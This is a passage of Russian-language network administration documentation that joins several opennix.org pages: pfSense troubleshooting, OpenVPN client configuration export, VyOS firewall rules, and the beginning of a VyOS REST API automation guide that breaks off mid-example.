2. **Проверьте DNS Resolver**: Services - DNS Resolver. Убедитесь, что служба запущена и привязана к нужным интерфейсам
3. **Проверьте доступность DNS-серверов**: Diagnostics - Ping, выполните ping до каждого DNS-сервера
4. **Проверьте правила файрвола**: убедитесь, что трафик DNS (порт 53 TCP/UDP) разрешен от pfSense к внешним DNS-серверам
5. **Очистите кэш DNS**: Services - DNS Resolver, нажмите **Clear DNS Resolver Cache**

### DNS Resolver и DNS Forwarder

pfSense предлагает два режима работы DNS:

- **DNS Resolver (Unbound)** - рекурсивный резолвер, обращающийся напрямую к корневым серверам. Используется по умолчанию
- **DNS Forwarder (dnsmasq)** - перенаправляет запросы вышестоящим серверам

Одновременная работа обоих сервисов вызывает конфликт портов. Убедитесь, что включен только один из них, или настройте их на разные порты.

> **Частая ошибка**: если DNS Resolver работает в режиме forwarding (включена опция DNS Query Forwarding), убедитесь, что DNS-серверы в System - General Setup корректны и доступны. В режиме forwarding Unbound не выполняет рекурсию самостоятельно.

## Проблемы производительности

### Высокая загрузка CPU

Определите процесс, потребляющий ресурсы: Status - Dashboard (виджет System Information) или через консоль командой `top -SH`.

Типичные причины:

| Процесс | Причина | Решение |
|---|---|---|
| filterlog | Большое количество заблокированных пакетов | Проверьте источник избыточного трафика, добавьте правило Block без логирования |
| php-fpm | Интенсивное использование веб-интерфейса | Перезапустите PHP-FPM: Diagnostics - Command Prompt, команда `pfSsh.php playback svc restart php-fpm` |
| dpinger | Частый мониторинг шлюзов | Увеличьте интервал проверки: System - Routing - Gateways - Edit |
| suricata/snort | IDS/IPS обрабатывает весь трафик | Ограничьте проверяемые сети, отключите неиспользуемые наборы правил |

### Высокое потребление памяти

Проверьте текущее потребление: Status - Dashboard. Основные потребители:

- **Таблица состояний** (state table) - при большом количестве активных соединений. Проверьте размер: Diagnostics - States Summary
- **Пакеты** (Suricata, Snort, ntopng) - могут потреблять значительный объем памяти
- **DNS Resolver кэш** - при обслуживании большого числа клиентов

Для снижения потребления памяти таблицей состояний уменьшите значение **Firewall Maximum States** в System - Advanced - Firewall & NAT.

### Низкая пропускная способность

Если пропускная способность через pfSense ниже ожидаемой:

1. **Проверьте скорость интерфейсов**: Status - Interfaces. Убедитесь, что скорость и дуплекс установлены корректно (Auto-negotiate в большинстве случаев)
2. **Отключите offloading**: System - Advanced - Networking. Снимите флаги Hardware Checksum Offload и Hardware TCP Segmentation Offload - это особенно актуально для [виртуальных сред](/docs/pfsense/virtualization/pfsense-virtualization-guide/)
3. **Проверьте Traffic Shaper**: если настроен [шейпер трафика](/docs/pfsense/traffic-shaper/), убедитесь, что лимиты соответствуют пропускной способности канала
4. **Проверьте IDS/IPS**: Suricata и Snort выполняют инспекцию каждого пакета, что может снижать пропускную способность на 30-50%
5. **Проверьте размер MTU**: несовпадение MTU между интерфейсами вызывает фрагментацию и снижение производительности

## Проблемы с веб-интерфейсом

### Нет доступа к веб-интерфейсу

**Симптом**: браузер не может подключиться к https://192.168.1.1 (или другому LAN-адресу pfSense).

Проверка:

1. **Ping pfSense**: если ping не работает, проблема на уровне сети (неверный IP, отключен интерфейс)
2. **Порт веб-интерфейса**: по умолчанию 443 (HTTPS) или 80 (HTTP). Порт мог быть изменен в System - Advanced - Admin Access
3. **Протокол**: проверьте, использует ли pfSense HTTP или HTTPS. Попробуйте оба варианта
4. **Правила на LAN**: убедитесь, что anti-lockout rule не отключено (System - Advanced - Admin Access - Anti-lockout)
5. **Перезапуск веб-сервера**: через консоль выполните `pfSsh.php playback svc restart webConfigurator`

### Восстановление доступа через консоль

Если доступ к веб-интерфейсу полностью потерян:

1. Подключитесь к консоли pfSense (физическая консоль, serial, IPMI или консоль гипервизора)
2. Выберите пункт **2) Set interface(s) IP address** для проверки/изменения IP-адреса LAN
3. Выберите пункт **8) Shell** и выполните:

```
pfSsh.php playback enableallowallwan    # Временно разрешить доступ с WAN
pfSsh.php playback disablereferercheck  # Отключить проверку referer
pfSsh.php playback svc restart webConfigurator  # Перезапустить веб-сервер
```

> **Важно**: после восстановления доступа немедленно верните настройки безопасности и удалите правило allow all на WAN.

## Проблемы загрузки

### pfSense не загружается

Если pfSense не загружается после обновления или изменения конфигурации:

1. **Прервите автозагрузку**: нажмите пробел при появлении загрузчика
2. **Загрузка в однопользовательском режиме**: выберите **2) Boot Single User** в меню загрузчика
3. **Проверьте файловую систему**: выполните `fsck -y /dev/ada0p2` (замените устройство при необходимости)
4. **Откатите конфигурацию**: файлы конфигурации хранятся в `/conf/backup/`. Скопируйте рабочую конфигурацию:

```
cp /conf/backup/config-TIMESTAMP.xml /conf/config.xml
reboot
```

### Проблемы файловой системы

Признаки повреждения файловой системы: ошибки записи в журналах, невозможность сохранить конфигурацию, спонтанные перезагрузки.

Для проверки и восстановления:

1. Загрузитесь в однопользовательский режим
2. Смонтируйте корневую файловую систему в режиме чтения-записи: `mount -o rw /`
3. Запустите проверку: `fsck -y /`
4. При обнаружении ошибок выполните проверку повторно до получения чистого результата
5. Перезагрузитесь: `reboot`

## Переполнение таблицы состояний

**Симптом**: новые соединения не устанавливаются, в журналах появляются записи о заполнении state table.

Проверьте текущее заполнение: Diagnostics - States Summary или через виджет Dashboard - Firewall States.

Решения:

- **Увеличьте лимит**: System - Advanced - Firewall & NAT - Firewall Maximum States. Значение по умолчанию зависит от объема ОЗУ
- **Уменьшите таймауты**: System - Advanced - Firewall & NAT - Firewall Optimization. Режим **aggressive** сокращает время жизни неактивных состояний
- **Найдите источник**: Diagnostics - States, отсортируйте по количеству. Частая причина - P2P-трафик, сканирование портов или DDoS

Каждое состояние потребляет приблизительно 1 КБ ОЗУ. При 100 000 состояний потребление составит около 100 МБ.

## Проблемы с пакетами

### Пакет не устанавливается

Если установка пакета через Package Manager завершается ошибкой:

1. **Проверьте DNS**: пакеты загружаются из репозитория по DNS-имени
2. **Проверьте доступ в интернет**: pfSense должен иметь выход в интернет для загрузки пакетов
3. **Проверьте свободное место**: `df -h` через Shell. Нехватка дискового пространства - частая причина ошибок
4. **Обновите список пакетов**: System - Package Manager - Installed Packages, нажмите **Update All**
5. **Проверьте совместимость версий**: убедитесь, что пакет совместим с текущей версией pfSense

### Пакет вызывает нестабильность

Если после установки пакета система стала нестабильной:

1. Попробуйте удалить пакет через веб-интерфейс: System - Package Manager - Installed Packages
2. Если веб-интерфейс недоступен, удалите пакет через консоль:

```
pkg delete package-name
```

3. Перезагрузите pfSense после удаления

## Сброс к заводским настройкам

Сброс полностью удаляет конфигурацию и возвращает pfSense к настройкам по умолчанию. Используйте только как крайнюю меру.

### Через веб-интерфейс

Diagnostics - Factory Defaults. Подтвердите сброс. pfSense перезагрузится с настройками по умолчанию (LAN IP 192.168.1.1, DHCP включен).

### Через консоль

1. Подключитесь к консоли
2. Выберите пункт **4) Reset to factory defaults**
3. Подтвердите сброс
4. Дождитесь перезагрузки

### Через загрузчик

Если консольное меню недоступно:

1. Прервите загрузку нажатием пробела
2. Загрузитесь в однопользовательский режим
3. Выполните:

```
mount -o rw /
rm /conf/config.xml
reboot
```

pfSense создаст конфигурацию по умолчанию при следующей загрузке.

Дополнительные сведения о настройке правил файрвола доступны в разделе [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/). Для вопросов, связанных с виртуализированным pfSense, обратитесь к [руководству по виртуализации](/docs/pfsense/virtualization/pfsense-virtualization-guide/). Информация о настройке VPN доступна в разделе [VPN](/docs/pfsense/vpn/).


---

# Экспорт конфигурации клиентов OpenVPN в pfSense - генерация

Source: https://opennix.org/docs/pfsense/vpn/openvpn/pfsense-openvpn-client-export/


Пакет OpenVPN Client Export в pfSense предназначен для автоматической генерации клиентских конфигурационных файлов и установщиков на основе параметров действующего OpenVPN-сервера. Вместо ручного создания `.ovpn`-файлов и копирования сертификатов администратор получает готовые к распространению пакеты для всех основных платформ: Windows, macOS, Linux, iOS и Android. Это исключает ошибки при ручном формировании конфигураций и существенно сокращает время подключения новых пользователей.

Утилита экспорта работает исключительно с серверами в режиме Remote Access (SSL/TLS или SSL/TLS + User Auth). Для site-to-site туннелей экспорт не предусмотрен, поскольку конфигурация обеих сторон формируется вручную.

## Установка пакета

Пакет `openvpn-client-export` не входит в базовую установку pfSense и требует отдельной инсталляции через менеджер пакетов.

1. Перейти в **System > Package Manager > Available Packages**.
2. В строке поиска ввести `openvpn-client-export`.
3. Нажать **Install** напротив найденного пакета, затем подтвердить установку.
4. Дождаться завершения - процесс занимает 10-30 секунд в зависимости от скорости соединения.

После установки в меню **VPN > OpenVPN** появляется вкладка **Client Export**.

> **Внимание**:
>
> Перед использованием экспорта необходимо полностью настроить OpenVPN-сервер удалённого доступа: создать CA, серверный сертификат, пользовательские сертификаты и настроить сам сервер. Без действующего сервера вкладка экспорта не отобразит доступных конфигураций. Подробности настройки сервера описаны в разделе [Сервер удаленного доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/).

## Параметры экспорта

При переходе на вкладку **VPN > OpenVPN > Client Export** в верхней части страницы расположены глобальные параметры, применяемые ко всем экспортируемым конфигурациям.

![Параметры экспорта клиентов OpenVPN](/img/pfsense/pfsense-openvpn-client-export.webp)

<p style="text-align: center;">Рис. 1. Глобальные параметры экспорта клиентских конфигураций</p>

### Выбор сервера

В поле **Remote Access Server** необходимо выбрать экземпляр OpenVPN-сервера, для которого будут генерироваться клиентские конфигурации. В списке отображаются только серверы в режиме Remote Access.

### Разрешение имени хоста

Параметр **Host Name Resolution** определяет, какой адрес будет указан в директиве `remote` клиентской конфигурации. Доступные варианты:

| Вариант | Описание | Применимость |
|---|---|---|
| Interface IP Address | IP-адрес WAN-интерфейса pfSense | Статический внешний адрес |
| Automagic Multi-WAN IPs | Автоматическое формирование директив `remote` из правил проброса портов | Multi-WAN с несколькими провайдерами |
| Automagic Multi-WAN DDNS | Использование DDNS-записей, привязанных к правилам проброса | Multi-WAN с динамическими адресами |
| Installation Hostname | Имя хоста из **System > General Setup** | Hostname зарегистрирован в публичном DNS |
| Dynamic DNS Hostname | DDNS-запись, настроенная на pfSense | Один провайдер с динамическим адресом |
| Other | Произвольный адрес или FQDN | NAT перед pfSense, нестандартные сценарии |

Для большинства установок с одним провайдером и динамическим IP-адресом следует использовать **Dynamic DNS Hostname**. При наличии статического адреса - **Interface IP Address**.

### Дополнительные параметры подключения

| Параметр | Описание |
|---|---|
| Verify Server CN | Управляет проверкой Common Name серверного сертификата через `verify-x509-name`. Рекомендуется оставить в режиме автоматического определения |
| Block Outside DNS | Принудительное использование DNS-серверов, полученных через VPN. Актуально для Windows 10 и новее, где возможна утечка DNS-запросов |
| Legacy Client | Генерация директив, совместимых с OpenVPN 2.4.x. Требуется при использовании устаревших клиентов |
| Silent Installer | Добавление флагов тихой установки в Windows-инсталлятор. Полезно для массового развёртывания через GPO или SCCM |
| Use Random Local Port | Использование случайного локального порта на стороне клиента. Рекомендуется включить для возможности одновременного подключения к нескольким VPN |

### Параметры сертификатов

| Параметр | Описание |
|---|---|
| PKCS#11 Certificate Storage | Поддержка аппаратных токенов и смарт-карт для хранения сертификатов |
| Microsoft Certificate Storage | Хранение сертификатов в хранилище Windows вместо файлов на диске |
| Password Protection | Защита паролем файла PKCS#12 или пакета Viscosity |

### Прокси-сервер

При необходимости подключения через HTTP-прокси следует указать его тип, адрес, порт и учётные данные. Эти параметры будут включены в экспортируемые конфигурации в виде директивы `http-proxy`.

### Дополнительные директивы

Поле **Additional configuration options** позволяет добавить произвольные директивы OpenVPN в экспортируемые конфигурации. Например:

```
ping 10
ping-restart 60
hand-window 90
```

Каждая директива указывается на отдельной строке. Синтаксис соответствует формату конфигурационного файла OpenVPN.

## Типы экспорта

Пакет предоставляет несколько форматов экспорта, ориентированных на различные платформы и клиентские приложения.

| Тип экспорта | Формат | Платформы | Особенности |
|---|---|---|---|
| Inline Configurations | `.ovpn` | Windows, macOS, Linux | Единый файл с встроенными сертификатами и ключами. Универсальный формат |
| Inline Configurations (Android) | `.ovpn` | Android | Адаптирован для OpenVPN for Android |
| Inline Configurations (OpenVPN Connect) | `.ovpn` | iOS, Android | Оптимизирован для приложения OpenVPN Connect |
| Bundled Configurations | `.zip` | Windows, macOS, Linux | Архив с отдельными файлами: конфигурация, TLS-ключ, PKCS#12 |
| Configuration File Only | `.ovpn` | Все | Только конфигурационный файл без сертификатов |
| Windows Installer (2.5.x) | `.exe` | Windows 10/11 | Установщик OpenVPN GUI с встроенной конфигурацией. 64- и 32-разрядные версии |
| Windows Installer (2.4.x) | `.exe` | Windows 7/8/10 | Для устаревших систем, не поддерживающих OpenVPN 2.5+ |
| Viscosity Bundle | `.visc.zip` | macOS, Windows | Пакет для клиента Viscosity (коммерческое приложение) |

### Рекомендации по выбору формата

- **Стандартное развёртывание**: Inline Configuration (`.ovpn`) - работает с любым клиентом OpenVPN на любой платформе.
- **Массовое развёртывание на Windows**: Windows Installer с включённой опцией Silent Installer - позволяет устанавливать VPN-клиент через GPO без взаимодействия с пользователем.
- **Мобильные устройства**: Inline Configuration (OpenVPN Connect) - файл импортируется непосредственно в приложение OpenVPN Connect на iOS или Android.
- **Корпоративная среда macOS**: Viscosity Bundle - если в организации используется клиент Viscosity.
- **Повышенные требования безопасности**: Bundled Configuration с PKCS#12 и паролем - сертификаты защищены паролем, что предотвращает использование конфигурации при компрометации файла.

## Экспорт для конкретного пользователя

Под блоком глобальных параметров отображается список доступных для экспорта клиентов. Состав списка зависит от режима аутентификации сервера:

- **SSL/TLS**: отображаются все пользовательские сертификаты, выпущенные центром сертификации, указанным в настройках сервера.
- **SSL/TLS + User Auth**: отображаются пользователи локальной базы или внешнего каталога, имеющие привязанные сертификаты.

Для каждого пользователя доступны все форматы экспорта. При нажатии на соответствующую ссылку генерируется файл с встроенным сертификатом и ключом этого конкретного пользователя.

Поле поиска в верхней части списка позволяет быстро найти нужного пользователя при большом количестве сертификатов.

> **Внимание**:
>
> Если в списке отсутствуют ожидаемые пользователи, необходимо проверить: привязан ли к пользователю сертификат, выпущен ли он тем же CA, который указан в настройках OpenVPN-сервера, и не отозван ли сертификат в CRL (Certificate Revocation List).

## Настройка параметров подключения

### Переопределение адреса подключения

В сценариях, когда pfSense расположен за NAT-устройством или балансировщиком нагрузки, внешний адрес VPN-сервера отличается от адреса на интерфейсе pfSense. В этом случае следует использовать вариант **Other** в поле Host Name Resolution и указать внешний IP-адрес или FQDN вручную.

### DNS-серверы в экспортируемой конфигурации

DNS-серверы, передаваемые клиенту через VPN, настраиваются не в параметрах экспорта, а в настройках OpenVPN-сервера: **VPN > OpenVPN > Servers > Edit > DNS Server 1-4**. Пакет экспорта автоматически включает указанные DNS-серверы в генерируемые конфигурации.

### Пользовательские директивы

Дополнительные параметры, указанные в поле **Additional configuration options**, добавляются в конец каждого экспортируемого файла конфигурации. Это позволяет принудительно задать маршруты, настроить keepalive-интервалы или указать параметры, отсутствующие в графическом интерфейсе.

Пример типичных дополнительных директив:

```
# Prevent DNS leaks on Windows
block-outside-dns

# Force all traffic through VPN
redirect-gateway def1

# Set connection timeout
connect-timeout 30
```

### Сохранение настроек по умолчанию

Кнопка **Save as default** в нижней части блока параметров сохраняет текущие настройки экспорта. При следующем открытии вкладки сохранённые значения будут восстановлены автоматически. Это удобно при регулярной выдаче конфигураций новым пользователям.

## Распространение конфигураций клиентам

Экспортированные файлы содержат закрытый ключ и сертификат пользователя, что делает их критически важными с точки зрения безопасности. При передаче конфигураций конечным пользователям необходимо соблюдать следующие правила:

1. **Защищённый канал передачи**. Файлы конфигурации следует передавать только по зашифрованным каналам: корпоративная электронная почта с шифрованием, защищённый файловый обмен или личная передача на носителе. Передача через незашифрованные мессенджеры или публичные файлообменники недопустима.

2. **Защита паролем**. При использовании формата Bundled Configuration или Viscosity Bundle рекомендуется включить опцию Password Protection. Это обеспечивает дополнительный уровень защиты при компрометации файла.

3. **Одноразовая ссылка**. При невозможности личной передачи следует использовать сервисы одноразовых ссылок с ограничением по времени и количеству скачиваний.

4. **Отзыв при компрометации**. При подозрении на компрометацию конфигурационного файла необходимо немедленно отозвать сертификат пользователя через **System > Certificates** и добавить его в CRL, привязанный к OpenVPN-серверу.

5. **Инструкция для пользователя**. К конфигурационному файлу следует приложить краткую инструкцию по импорту: для Windows - установка OpenVPN GUI и размещение файла в `C:\Users\<user>\OpenVPN\config\`, для macOS - импорт в Tunnelblick или Viscosity, для мобильных устройств - импорт через OpenVPN Connect.

## Устранение неполадок

### В списке экспорта отсутствуют пользователи

Типичные причины:

- Пользователю не назначен сертификат. Проверить в **System > User Manager > Users > Edit User > User Certificates**.
- Сертификат выпущен другим CA, отличным от указанного в настройках OpenVPN-сервера.
- Сертификат отозван и присутствует в CRL.
- OpenVPN-сервер настроен в режиме Peer-to-Peer, а не Remote Access.

### Экспортированная конфигурация не подключается

1. Проверить, что адрес в директиве `remote` файла `.ovpn` доступен из внешней сети. Для этого выполнить `telnet <адрес> <порт>` с клиентского устройства.
2. Убедиться, что на WAN-интерфейсе pfSense создано правило, разрешающее входящий трафик на порт OpenVPN (по умолчанию UDP 1194).
3. Если pfSense расположен за NAT, проверить, что проброс порта настроен корректно на вышестоящем маршрутизаторе.
4. Проверить логи OpenVPN: **Status > OpenVPN** на стороне сервера, логи клиента - в интерфейсе клиентского приложения.

### Несоответствие сертификатов

Ошибка `TLS Error: TLS handshake failed` или `VERIFY ERROR` указывает на проблему с сертификатами:

- Серверный сертификат имеет тип Server Certificate, а не User Certificate.
- Клиентский и серверный сертификаты выпущены одним CA.
- Сертификаты не истекли - проверить сроки действия в **System > Certificates**.
- TLS-ключ (static key) совпадает на сервере и в экспортированной конфигурации. При перегенерации TLS-ключа на сервере требуется повторный экспорт конфигураций.

### Windows: ошибка при тихой установке

При использовании Silent Installer через GPO установщик может завершиться с ошибкой, если:

- Политика запрещает установку TAP-драйвера без подтверждения администратора. Необходимо добавить сертификат издателя TAP-драйвера в хранилище доверенных издателей.
- Антивирусное программное обеспечение блокирует установку. Следует добавить исключение для установщика OpenVPN.

## Связанные разделы

- [Сервер удаленного доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/) - полная настройка OpenVPN-сервера, создание CA и сертификатов
- [Site-to-Site туннель](/docs/pfsense/vpn/openvpn/pfsense-openvpn-site-to-site/) - объединение площадок через OpenVPN
- [IPsec для мобильных клиентов](/docs/pfsense/vpn/ipsec/pfsense-ipsec-mobile-clients/) - альтернативный вариант VPN для мобильных устройств без установки дополнительного ПО



---

# Firewall (Межсетевой экран)

Source: https://opennix.org/docs/vyos/firewall/vyos-firewall/


VyOS использует nftables (начиная с версии 1.5.x) в качестве backend для межсетевого экрана, обеспечивая гибкое и производительное управление сетевым трафиком.

## Архитектура firewall

### Этапы обработки пакетов

Пакеты проходят через несколько этапов обработки:

1. **Prerouting** - пакеты до принятия решения о маршрутизации
2. **Input** - пакеты, адресованные самому маршрутизатору
3. **Forward** - транзитные пакеты (проходящие через маршрутизатор)
4. **Output** - пакеты, исходящие от маршрутизатора
5. **Postrouting** - пакеты после принятия решения о маршрутизации

```
                                 Пакет входит
                                      │
                                      ▼
                               ┌─────────────┐
                               │ Prerouting  │
                               └──────┬──────┘
                                      │
                         ┌────────────┴────────────┐
                         │                         │
                         ▼                         ▼
                   ┌──────────┐            ┌──────────────┐
                   │  Input   │            │   Forward    │
                   └────┬─────┘            └──────┬───────┘
                        │                         │
                        ▼                         ▼
                   Локальные                 Маршрутизация
                   процессы                       │
                        │                         │
                        ▼                         │
                   ┌──────────┐                  │
                   │  Output  │                  │
                   └────┬─────┘                  │
                        │                         │
                        └────────────┬────────────┘
                                     ▼
                              ┌─────────────┐
                              │ Postrouting │
                              └──────┬──────┘
                                     ▼
                               Пакет выходит
```

## Типы firewall

### IPv4 Firewall

Правила для IPv4 трафика:

```
set firewall ipv4 input filter rule <number>
set firewall ipv4 forward filter rule <number>
set firewall ipv4 output filter rule <number>
set firewall ipv4 prerouting filter rule <number>
```

### IPv6 Firewall

Правила для IPv6 трафика:

```
set firewall ipv6 input filter rule <number>
set firewall ipv6 forward filter rule <number>
set firewall ipv6 output filter rule <number>
```

### Bridge Firewall

Правила для bridge (L2) трафика:

```
set firewall bridge forward filter rule <number>
set firewall bridge prerouting filter rule <number>
```

## Группы (Groups)

Группы позволяют объединять адреса, сети, порты и интерфейсы для упрощения правил.

### Address Group

Группа IP-адресов:

```
set firewall group address-group LAN-HOSTS address 192.168.1.10
set firewall group address-group LAN-HOSTS address 192.168.1.20
set firewall group address-group LAN-HOSTS address 192.168.1.30
```

### Network Group

Группа сетей:

```
set firewall group network-group INTERNAL-NETS network 192.168.0.0/24
set firewall group network-group INTERNAL-NETS network 192.168.1.0/24
set firewall group network-group INTERNAL-NETS network 10.0.0.0/8
```

### Port Group

Группа портов:

```
set firewall group port-group WEB-PORTS port 80
set firewall group port-group WEB-PORTS port 443
set firewall group port-group WEB-PORTS port 8080
```

### Interface Group

Группа интерфейсов:

```
set firewall group interface-group LAN-INTERFACES interface eth1
set firewall group interface-group LAN-INTERFACES interface eth2
set firewall group interface-group LAN-INTERFACES interface eth3
```

## Структура правил

### Базовое правило

```
set firewall ipv4 forward filter rule 10 action accept
set firewall ipv4 forward filter rule 10 source address 192.168.1.0/24
set firewall ipv4 forward filter rule 10 destination address 8.8.8.8
set firewall ipv4 forward filter rule 10 protocol tcp
set firewall ipv4 forward filter rule 10 destination port 443
```

### Действия (Actions)

- `accept` - разрешить пакет
- `drop` - отбросить пакет (без уведомления)
- `reject` - отклонить пакет (с отправкой ICMP/TCP RST)
- `return` - вернуться к правилу вызвавшей цепочки
- `jump <target>` - перейти к другой цепочке правил

### Default Action

Действие по умолчанию для трафика, не соответствующего ни одному правилу:

```
set firewall ipv4 forward filter default-action drop
```

## Критерии сопоставления

### Source и Destination

IP-адреса:
```
set firewall ipv4 forward filter rule 10 source address 192.168.1.0/24
set firewall ipv4 forward filter rule 10 destination address 8.8.8.8
```

Группы адресов:
```
set firewall ipv4 forward filter rule 10 source group address-group LAN-HOSTS
set firewall ipv4 forward filter rule 10 destination group network-group DMZ-NETS
```

Порты:
```
set firewall ipv4 forward filter rule 10 source port 1024-65535
set firewall ipv4 forward filter rule 10 destination port 80
set firewall ipv4 forward filter rule 10 destination group port-group WEB-PORTS
```

### Протоколы

```
set firewall ipv4 forward filter rule 10 protocol tcp
set firewall ipv4 forward filter rule 20 protocol udp
set firewall ipv4 forward filter rule 30 protocol icmp
```

Список протоколов: tcp, udp, icmp, esp, ah, gre, ipip, all

### ICMP

ICMP типы:
```
set firewall ipv4 forward filter rule 30 protocol icmp
set firewall ipv4 forward filter rule 30 icmp type-name echo-request
```

### TCP флаги

```
set firewall ipv4 forward filter rule 10 protocol tcp
set firewall ipv4 forward filter rule 10 tcp flags syn
set firewall ipv4 forward filter rule 10 tcp flags not fin
set firewall ipv4 forward filter rule 10 tcp flags not ack
```

### Состояние соединения (State)

```
set firewall ipv4 forward filter rule 10 state established
set firewall ipv4 forward filter rule 10 state related
set firewall ipv4 forward filter rule 20 state invalid
set firewall ipv4 forward filter rule 20 action drop
```

Состояния:
- `established` - пакеты принадлежат установленным соединениям
- `related` - пакеты связаны с установленными соединениями
- `new` - новые соединения
- `invalid` - некорректные пакеты

### Интерфейсы

Входящий интерфейс:
```
set firewall ipv4 forward filter rule 10 inbound-interface name eth0
```

Исходящий интерфейс:
```
set firewall ipv4 forward filter rule 10 outbound-interface name eth1
```

Группы интерфейсов:
```
set firewall ipv4 forward filter rule 10 inbound-interface group LAN-INTERFACES
```

## Логирование

Включение логирования для правила:

```
set firewall ipv4 forward filter rule 10 log
```

С пользовательским префиксом:
```
set firewall ipv4 forward filter rule 10 log
set firewall ipv4 forward filter rule 10 log-prefix "[FW-DROP]"
```

## Лимитирование (Rate Limiting)

Ограничение частоты срабатывания правила:

```
set firewall ipv4 forward filter rule 10 limit rate 10/second
set firewall ipv4 forward filter rule 10 limit burst 20
```

## Примеры конфигурации

### Базовая защита маршрутизатора (Input)

```
# Default drop
set firewall ipv4 input filter default-action drop

# Разрешить established/related
set firewall ipv4 input filter rule 10 action accept
set firewall ipv4 input filter rule 10 state established
set firewall ipv4 input filter rule 10 state related

# Отбросить invalid
set firewall ipv4 input filter rule 20 action drop
set firewall ipv4 input filter rule 20 state invalid

# Разрешить ICMP
set firewall ipv4 input filter rule 30 action accept
set firewall ipv4 input filter rule 30 protocol icmp

# Разрешить SSH из LAN
set firewall ipv4 input filter rule 40 action accept
set firewall ipv4 input filter rule 40 source group address-group LAN-NETWORKS
set firewall ipv4 input filter rule 40 destination port 22
set firewall ipv4 input filter rule 40 protocol tcp
```

### Базовая защита для транзитного трафика (Forward)

```
# Default drop
set firewall ipv4 forward filter default-action drop

# Established/related
set firewall ipv4 forward filter rule 10 action accept
set firewall ipv4 forward filter rule 10 state established
set firewall ipv4 forward filter rule 10 state related

# Invalid drop
set firewall ipv4 forward filter rule 20 action drop
set firewall ipv4 forward filter rule 20 state invalid

# Разрешить LAN -> WAN
set firewall ipv4 forward filter rule 30 action accept
set firewall ipv4 forward filter rule 30 source group address-group LAN-NETWORKS
set firewall ipv4 forward filter rule 30 outbound-interface name eth0
```

### Разрешение конкретных сервисов

```
# Web сервер в DMZ
set firewall ipv4 forward filter rule 100 action accept
set firewall ipv4 forward filter rule 100 destination address 192.168.100.10
set firewall ipv4 forward filter rule 100 destination group port-group WEB-PORTS
set firewall ipv4 forward filter rule 100 protocol tcp

# SSH для администраторов
set firewall ipv4 forward filter rule 110 action accept
set firewall ipv4 forward filter rule 110 source group address-group ADMIN-HOSTS
set firewall ipv4 forward filter rule 110 destination group network-group SERVERS
set firewall ipv4 forward filter rule 110 destination port 22
set firewall ipv4 forward filter rule 110 protocol tcp
```

### Защита от DoS

```
# Лимит ICMP
set firewall ipv4 input filter rule 30 action accept
set firewall ipv4 input filter rule 30 protocol icmp
set firewall ipv4 input filter rule 30 limit rate 10/second

# Лимит новых SSH соединений
set firewall ipv4 input filter rule 40 action accept
set firewall ipv4 input filter rule 40 destination port 22
set firewall ipv4 input filter rule 40 protocol tcp
set firewall ipv4 input filter rule 40 state new
set firewall ipv4 input filter rule 40 limit rate 3/minute
```

## Zone-Based Firewall

Зоны позволяют группировать интерфейсы и определять политики между зонами.

### Создание зон

```
set firewall zone LAN interface eth1
set firewall zone LAN default-action drop

set firewall zone WAN interface eth0
set firewall zone WAN default-action drop

set firewall zone DMZ interface eth2
set firewall zone DMZ default-action drop
```

### Политики между зонами

```
# LAN -> WAN
set firewall zone LAN from WAN firewall ipv4 name LAN-WAN-FILTER

# WAN -> LAN (обычно блокируется)
set firewall zone WAN from LAN firewall ipv4 name WAN-LAN-FILTER
```

## Global Options

### Connection tracking

Timeout для различных протоколов:

```
set firewall global-options timeout tcp close 10
set firewall global-options timeout tcp established 86400
set firewall global-options timeout udp other 30
set firewall global-options timeout icmp 10
```

### Log martians

Логирование пакетов с некорректными адресами:

```
set firewall global-options log-martians
```

### State policy

Политика для различных состояний соединений:

```
set firewall global-options state-policy established action accept
set firewall global-options state-policy related action accept
set firewall global-options state-policy invalid action drop
```

## Flowtable

Аппаратное ускорение для высокопроизводительной обработки:

```
set firewall flowtable FT01 interface eth0
set firewall flowtable FT01 interface eth1
set firewall flowtable FT01 offload hardware
```

## Операционные команды

### Просмотр правил

```
show firewall
show firewall ipv4
show firewall ipv4 forward filter
show firewall ipv4 forward filter rule 10
```

### Просмотр статистики

```
show firewall statistics
```

### Просмотр групп

```
show firewall group
show firewall group address-group LAN-NETWORKS
```

### Мониторинг логов

```
monitor log | grep FW
```

## Устранение неполадок

### Трафик блокируется

Проверьте правила:
```
show firewall ipv4 forward filter
```

Включите логирование для диагностики:
```
set firewall ipv4 forward filter rule 10 log
commit
```

Просмотр логов:
```
show log firewall
monitor log | grep firewall
```

### Проблемы с производительностью

Используйте flowtable для offload:
```
set firewall flowtable FT01 interface eth0
set firewall flowtable FT01 interface eth1
set firewall flowtable FT01 offload hardware
```

Проверьте connection tracking:
```
show conntrack table ipv4
```

## Лучшие практики

1. **Default deny** - используйте `default-action drop` и разрешайте только необходимый трафик
2. **Stateful inspection** - всегда разрешайте established/related соединения
3. **Блокируйте invalid** - отбрасывайте пакеты в состоянии invalid
4. **Используйте группы** - упрощает управление правилами
5. **Логируйте критичное** - включайте логирование для важных правил
6. **Нумерация правил** - оставляйте промежутки (10, 20, 30) для будущих изменений
7. **Документируйте** - используйте описательные имена для групп и зон
8. **Тестируйте осторожно** - используйте `commit-confirm` для удаленных изменений

## Следующие шаги

- [NAT](/docs/vyos/nat/) - настройка трансляции адресов
- [VPN](/docs/vyos/vpn/) - защищенные соединения
- [Policy](/docs/vyos/policy/) - политики маршрутизации


---

# Автоматизация VyOS - REST API, Ansible и Python

Source: https://opennix.org/docs/vyos/admin-guide/vyos-automation/


VyOS предоставляет мощные инструменты для автоматизации управления конфигурацией через REST API, GraphQL API, Ansible и Python. Автоматизация критически важна для управления парком устройств, обеспечения консистентности конфигурации и интеграции с системами DevOps.

## REST API

VyOS предоставляет RESTful API для программного управления конфигурацией и получения операционной информации.

### Настройка REST API

#### VyOS 1.5 (Circinus)

```bash
configure

# Создать API ключ
set service https api keys id automation key 'your-api-key-here'

# Включить REST API
set service https api rest

# Опционально: настроить HTTPS сертификат
set service https certificates ca-certificate ca-vyos
set service https certificates certificate vyos-cert

# Настроить доступ
set service https listen-address 192.168.1.1

commit
save
```

#### VyOS 1.4 (Sagitta)

```bash
configure

# В версии 1.4 используется единый API endpoint
set service https api keys id automation key 'your-api-key-here'

commit
save
```

### Основные API Endpoints

#### Configuration Management

**Set Configuration** - применить конфигурационную команду:
```bash
POST /configure
Content-Type: application/json

{
  "op": "set",
  "path": ["interfaces", "ethernet", "eth1", "address"],
